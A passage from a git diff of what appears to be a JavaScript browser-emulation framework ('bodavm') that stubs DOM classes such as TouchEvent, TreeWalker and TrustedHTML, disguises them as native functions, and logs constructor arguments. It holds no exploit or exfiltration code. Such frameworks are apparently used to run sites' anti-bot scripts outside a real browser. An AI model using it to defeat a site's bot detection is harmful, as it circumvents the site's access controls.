bodavm.memory.globalobj['Touch'].prototype, "Touch", "radiusY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "rotationAngle", { + configurable: true, + enumerable: true, + get: function rotationAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "rotationAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "force", { + configurable: true, + enumerable: true, + get: function force() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "force_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TouchEvent.js b/env_xbb_lastest_jsdom/env/TouchEvent.js index 52651906..45c500c8 100644 --- a/env_xbb_lastest_jsdom/env/TouchEvent.js +++ b/env_xbb_lastest_jsdom/env/TouchEvent.js @@ -1,12 +1,75 @@ -// TouchEvent对象 -bodavm.memory.globalobj['TouchEvent'] = function TouchEvent(){if (!(this instanceof TouchEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TouchEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TouchEvent'], "TouchEvent"); -bodavm.memory.globalobj['TouchEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['TouchEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('TouchEvent', "touches", {configurable:true, enumerable:true, get:function touches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "touches_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "targetTouches", {configurable:true, enumerable:true, get:function targetTouches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "targetTouches_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "changedTouches", {configurable:true, enumerable:true, get:function changedTouches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "changedTouches_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "altKey", {configurable:true, enumerable:true, get:function altKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "altKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "metaKey", {configurable:true, enumerable:true, get:function metaKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "metaKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "ctrlKey", {configurable:true, enumerable:true, get:function ctrlKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "ctrlKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "shiftKey", {configurable:true, enumerable:true, get:function shiftKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "shiftKey_get", arguments)}, set:undefined},'prototype'); +// TouchEvent对象 + +bodavm.memory.globalobj['TouchEvent'] = function TouchEvent() { + console.log_copy('TouchEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TouchEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TouchEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TouchEvent'], "TouchEvent"); +bodavm.memory.globalobj['TouchEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['TouchEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('TouchEvent', "touches", { + configurable: true, + enumerable: true, + get: function touches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "touches_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "targetTouches", { + configurable: true, + enumerable: true, + get: function targetTouches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "targetTouches_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "changedTouches", { + configurable: true, + enumerable: true, + get: function changedTouches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "changedTouches_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "altKey", { + configurable: true, + enumerable: true, + get: function altKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "altKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "metaKey", { + configurable: true, + enumerable: true, + get: function metaKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "metaKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "ctrlKey", { + configurable: true, + enumerable: true, + get: function ctrlKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "ctrlKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchEvent', "shiftKey", { + configurable: true, + enumerable: true, + get: function shiftKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "shiftKey_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TouchList.js b/env_xbb_lastest_jsdom/env/TouchList.js index 816bb082..a719b2be 100644 --- a/env_xbb_lastest_jsdom/env/TouchList.js +++ b/env_xbb_lastest_jsdom/env/TouchList.js @@ -1,5 +1,33 @@ -// TouchList对象 -bodavm.memory.globalobj['TouchList'] = function TouchList(){if (!(this instanceof TouchList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TouchList'], "TouchList"); -bodavm.toolsFunc.defineProperty('TouchList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchList'].prototype, "TouchList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchList'].prototype, "TouchList", "item", arguments)}},'prototype'); +// TouchList对象 + +bodavm.memory.globalobj['TouchList'] = function TouchList() { + console.log_copy('TouchList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TouchList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TouchList'], "TouchList"); +bodavm.toolsFunc.defineProperty('TouchList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchList'].prototype, "TouchList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TouchList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchList'].prototype, "TouchList", "item", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TrackEvent.js b/env_xbb_lastest_jsdom/env/TrackEvent.js index bfe91111..2f240176 100644 --- a/env_xbb_lastest_jsdom/env/TrackEvent.js +++ b/env_xbb_lastest_jsdom/env/TrackEvent.js @@ -1,6 +1,27 @@ -// TrackEvent对象 -bodavm.memory.globalobj['TrackEvent'] = function TrackEvent(){if (!(this instanceof TrackEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TrackEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrackEvent'], "TrackEvent"); -bodavm.memory.globalobj['TrackEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['TrackEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('TrackEvent', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrackEvent'].prototype, "TrackEvent", "track_get", arguments)}, set:undefined},'prototype'); +// TrackEvent对象 + +bodavm.memory.globalobj['TrackEvent'] = function TrackEvent() { + console.log_copy('TrackEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrackEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TrackEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrackEvent'], "TrackEvent"); +bodavm.memory.globalobj['TrackEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['TrackEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('TrackEvent', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrackEvent'].prototype, "TrackEvent", "track_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TransformStream.js b/env_xbb_lastest_jsdom/env/TransformStream.js index d44c4c6d..9945910b 100644 --- a/env_xbb_lastest_jsdom/env/TransformStream.js +++ b/env_xbb_lastest_jsdom/env/TransformStream.js @@ -1,5 +1,30 @@ -// TransformStream对象 -bodavm.memory.globalobj['TransformStream'] = function TransformStream(){this._boarg= new bodaobj.window.TransformStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransformStream'], "TransformStream"); -bodavm.toolsFunc.defineProperty('TransformStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStream'].prototype, "TransformStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TransformStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStream'].prototype, "TransformStream", "writable_get", arguments)}, set:undefined},'prototype'); +// TransformStream对象 + +bodavm.memory.globalobj['TransformStream'] = function TransformStream() { + console.log_copy('TransformStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TransformStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransformStream'], "TransformStream"); +bodavm.toolsFunc.defineProperty('TransformStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStream'].prototype, "TransformStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransformStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStream'].prototype, "TransformStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TransformStreamDefaultController.js b/env_xbb_lastest_jsdom/env/TransformStreamDefaultController.js index 21587d30..2b3e8d46 100644 --- a/env_xbb_lastest_jsdom/env/TransformStreamDefaultController.js +++ b/env_xbb_lastest_jsdom/env/TransformStreamDefaultController.js @@ -1,7 +1,49 @@ -// TransformStreamDefaultController对象 -bodavm.memory.globalobj['TransformStreamDefaultController'] = function TransformStreamDefaultController(){if (!(this instanceof TransformStreamDefaultController)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransformStreamDefaultController'], "TransformStreamDefaultController"); -bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "desiredSize", {configurable:true, enumerable:true, get:function desiredSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "desiredSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "enqueue", {configurable:true, enumerable:true, writable:true, value:function enqueue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "enqueue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "error", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "terminate", {configurable:true, enumerable:true, writable:true, value:function terminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "terminate", arguments)}},'prototype'); +// TransformStreamDefaultController对象 + +bodavm.memory.globalobj['TransformStreamDefaultController'] = function TransformStreamDefaultController() { + console.log_copy('TransformStreamDefaultController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TransformStreamDefaultController)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransformStreamDefaultController'], "TransformStreamDefaultController"); +bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "desiredSize", { + configurable: true, + enumerable: true, + get: function desiredSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "desiredSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "enqueue", { + configurable: true, + enumerable: true, + writable: true, + value: function enqueue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "enqueue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "error", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "terminate", { + configurable: true, + enumerable: true, + writable: true, + value: function terminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "terminate", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TransitionEvent.js b/env_xbb_lastest_jsdom/env/TransitionEvent.js index 2cd8fa70..d3d19a9d 100644 --- a/env_xbb_lastest_jsdom/env/TransitionEvent.js +++ b/env_xbb_lastest_jsdom/env/TransitionEvent.js @@ -1,8 +1,43 @@ -// TransitionEvent对象 -bodavm.memory.globalobj['TransitionEvent'] = function TransitionEvent(){if (!(this instanceof TransitionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TransitionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransitionEvent'], "TransitionEvent"); -bodavm.memory.globalobj['TransitionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['TransitionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('TransitionEvent', "propertyName", {configurable:true, enumerable:true, get:function propertyName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "propertyName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TransitionEvent', "elapsedTime", {configurable:true, enumerable:true, get:function elapsedTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "elapsedTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TransitionEvent', "pseudoElement", {configurable:true, enumerable:true, get:function pseudoElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "pseudoElement_get", arguments)}, set:undefined},'prototype'); +// TransitionEvent对象 + +bodavm.memory.globalobj['TransitionEvent'] = function TransitionEvent() { + console.log_copy('TransitionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TransitionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TransitionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransitionEvent'], "TransitionEvent"); +bodavm.memory.globalobj['TransitionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['TransitionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('TransitionEvent', "propertyName", { + configurable: true, + enumerable: true, + get: function propertyName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "propertyName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransitionEvent', "elapsedTime", { + configurable: true, + enumerable: true, + get: function elapsedTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "elapsedTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TransitionEvent', "pseudoElement", { + configurable: true, + enumerable: true, + get: function pseudoElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "pseudoElement_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TreeWalker.js b/env_xbb_lastest_jsdom/env/TreeWalker.js index 2f8d3581..d902d9d8 100644 --- a/env_xbb_lastest_jsdom/env/TreeWalker.js +++ b/env_xbb_lastest_jsdom/env/TreeWalker.js @@ -1,14 +1,107 @@ -// TreeWalker对象 -bodavm.memory.globalobj['TreeWalker'] = function TreeWalker(){if (!(this instanceof TreeWalker)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TreeWalker'], "TreeWalker"); -bodavm.toolsFunc.defineProperty('TreeWalker', "root", {configurable:true, enumerable:true, get:function root (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "root_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "whatToShow", {configurable:true, enumerable:true, get:function whatToShow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "whatToShow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "filter_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "currentNode", {configurable:true, enumerable:true, get:function currentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "currentNode_get", arguments)}, set:function currentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "currentNode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "firstChild", {configurable:true, enumerable:true, writable:true, value:function firstChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "firstChild", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "lastChild", {configurable:true, enumerable:true, writable:true, value:function lastChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "lastChild", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "nextNode", {configurable:true, enumerable:true, writable:true, value:function nextNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "nextNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "nextSibling", {configurable:true, enumerable:true, writable:true, value:function nextSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "nextSibling", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "parentNode", {configurable:true, enumerable:true, writable:true, value:function parentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "parentNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "previousNode", {configurable:true, enumerable:true, writable:true, value:function previousNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "previousNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "previousSibling", {configurable:true, enumerable:true, writable:true, value:function previousSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "previousSibling", arguments)}},'prototype'); +// TreeWalker对象 + +bodavm.memory.globalobj['TreeWalker'] = function TreeWalker() { + console.log_copy('TreeWalker 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TreeWalker)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TreeWalker'], "TreeWalker"); +bodavm.toolsFunc.defineProperty('TreeWalker', "root", { + configurable: true, + enumerable: true, + get: function root() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "root_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "whatToShow", { + configurable: true, + enumerable: true, + get: function whatToShow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "whatToShow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "filter", { + configurable: true, + enumerable: true, + get: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "filter_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "currentNode", { + configurable: true, + enumerable: true, + get: function currentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "currentNode_get", arguments); + }, + set: function currentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "currentNode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "firstChild", { + configurable: true, + enumerable: true, + writable: true, + value: function firstChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "firstChild", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "lastChild", { + configurable: true, + enumerable: true, + writable: true, + value: function lastChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "lastChild", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "nextNode", { + configurable: true, + enumerable: true, + writable: true, + value: function nextNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "nextNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "nextSibling", { + configurable: true, + enumerable: true, + writable: true, + value: function nextSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "nextSibling", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "parentNode", { + configurable: true, + enumerable: true, + writable: true, + value: function parentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "parentNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "previousNode", { + configurable: true, + enumerable: true, + writable: true, + value: function previousNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "previousNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TreeWalker', "previousSibling", { + configurable: true, + enumerable: true, + writable: true, + value: function previousSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "previousSibling", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TrustedHTML.js b/env_xbb_lastest_jsdom/env/TrustedHTML.js index 95cc7973..8893dbd2 100644 --- a/env_xbb_lastest_jsdom/env/TrustedHTML.js +++ b/env_xbb_lastest_jsdom/env/TrustedHTML.js @@ -1,5 +1,33 @@ -// TrustedHTML对象 -bodavm.memory.globalobj['TrustedHTML'] = function TrustedHTML(){if (!(this instanceof TrustedHTML)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedHTML'], "TrustedHTML"); -bodavm.toolsFunc.defineProperty('TrustedHTML', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedHTML'].prototype, "TrustedHTML", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedHTML', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedHTML'].prototype, "TrustedHTML", "toString", arguments)}},'prototype'); +// TrustedHTML对象 + +bodavm.memory.globalobj['TrustedHTML'] = function TrustedHTML() { + console.log_copy('TrustedHTML 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedHTML)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedHTML'], "TrustedHTML"); +bodavm.toolsFunc.defineProperty('TrustedHTML', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedHTML'].prototype, "TrustedHTML", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedHTML', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedHTML'].prototype, "TrustedHTML", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TrustedScript.js b/env_xbb_lastest_jsdom/env/TrustedScript.js index 54ff0fef..bb473d19 100644 --- a/env_xbb_lastest_jsdom/env/TrustedScript.js +++ b/env_xbb_lastest_jsdom/env/TrustedScript.js @@ -1,5 +1,33 @@ -// TrustedScript对象 -bodavm.memory.globalobj['TrustedScript'] = function TrustedScript(){if (!(this instanceof TrustedScript)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedScript'], "TrustedScript"); -bodavm.toolsFunc.defineProperty('TrustedScript', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScript'].prototype, "TrustedScript", "toJSON", arguments)}},'prototype'); 